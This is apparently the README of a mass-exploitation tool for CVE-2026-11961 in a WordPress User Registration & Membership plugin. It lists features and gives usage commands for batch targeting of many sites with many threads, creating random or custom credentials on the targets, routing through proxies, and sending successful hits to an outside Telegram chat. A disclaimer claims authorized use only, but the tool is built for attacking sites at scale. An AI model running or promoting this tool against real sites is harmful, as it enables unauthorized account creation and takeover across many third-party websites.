CVE-2026-11961

Mass Exploit tool for CVE-2026-11961 affecting the WordPress User Registration & Membership plugin.

Features

• Plugin version detection
• Single target support
• Batch target processing
• Multi-thread support
• Random or custom credentials
• HTTP/HTTPS proxy support
• Request timeout configuration
• JSONL output
• Log file support
• Telegram notifications
• Force mode (--force)

Usage

# Show help
python3 mass.py -h

# Single target
python3 mass.py -u https://target.com

# Single target with custom credentials
python3 mass.py \
-u https://target.com \
--username admin \
--password "StrongPassword123!"

# Multiple targets
python3 mass.py -l targets.txt -t 20

# Save successful results
python3 mass.py -l targets.txt -o results.jsonl

# Write log file
python3 mass.py -l targets.txt --log exploit.log

# Telegram notifications
python3 mass.py \
-l targets.txt \
--tg-token YOUR_BOT_TOKEN \
--tg-chat YOUR_CHAT_ID

# Proxy
python3 mass.py \
-u https://target.com \
--proxy http://127.0.0.1:8080

# Force mode
python3 mass.py -u https://target.com --force

Options

Disclaimer

This project is provided solely for authorized security assessments, defensive security research, and vulnerability validation.

By using this software, you confirm that you have explicit authorization to assess the target systems. Unauthorized access to computer systems is prohibited and may violate applicable laws.

The author and contributors do not encourage or condone unauthorized use of this project and assume no responsibility or liability for any misuse, damage, or legal consequences resulting from its use.

Author

JohenLastGen JLG NETWORK